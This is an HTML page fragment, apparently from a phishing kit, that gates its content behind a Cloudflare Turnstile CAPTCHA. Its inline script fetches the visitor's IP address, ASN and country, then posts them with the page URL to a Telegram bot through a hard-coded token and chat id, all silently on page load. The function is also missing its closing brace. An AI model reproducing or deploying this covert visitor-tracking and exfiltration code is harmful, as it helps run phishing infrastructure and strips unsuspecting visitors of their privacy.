<head>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Title</title>
    <!-- Cloudflare Turnstile CAPTCHA script -->
    <script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>
    <style>
        #content {
            display: none; /* Hide the content initially */
        }
        #captcha {
            text-align: center;
            margin-top: 20px;
        }
    </style>
</head>
<body>
    <div id="captcha">
        <!-- Cloudflare Turnstile CAPTCHA widget -->
        <div class="cf-turnstile" data-sitekey="0x4AAAAAAA6YTo3Y6IGCopV_" data-callback="onTurnstileSuccess"></div>
    </div>
    <div id="content">

<script>
async function sendInfoToTelegram() {
  const ipInfo = await fetch('https://api.ipify.org?format=json');
  const ipData = await ipInfo.json();
  const ip = ipData.ip;  // IP address

  const geolocationInfo = await fetch(`https://ipinfo.io/${ip}/json`);
  const geoData = await geolocationInfo.json();

  const asn = geoData.org;             
  const country = geoData.country;     
  const fullUrl = window.location.href; 

  const message = `IP: ${ip}\nASN: ${asn}\nCountry: ${country}\nURL: ${fullUrl}`;

  const telegramBotToken = '7041096387:AAFOkoY9VogpqL_Ebyq1DRltpHNi5emDMsA';
  const chatId = '-4636241119';  
  const telegramUrl = `https://api.telegram.org/bot${telegramBotToken}/sendMessage`;

  const params = new URLSearchParams();
  params.append('chat_id', chatId);
  params.append('text', message);

  const response = await fetch(telegramUrl, {
    method: 'POST',
    body: params,
  });

  const data = await response.json();
  console.log(data); 

sendInfoToTelegram();
</script>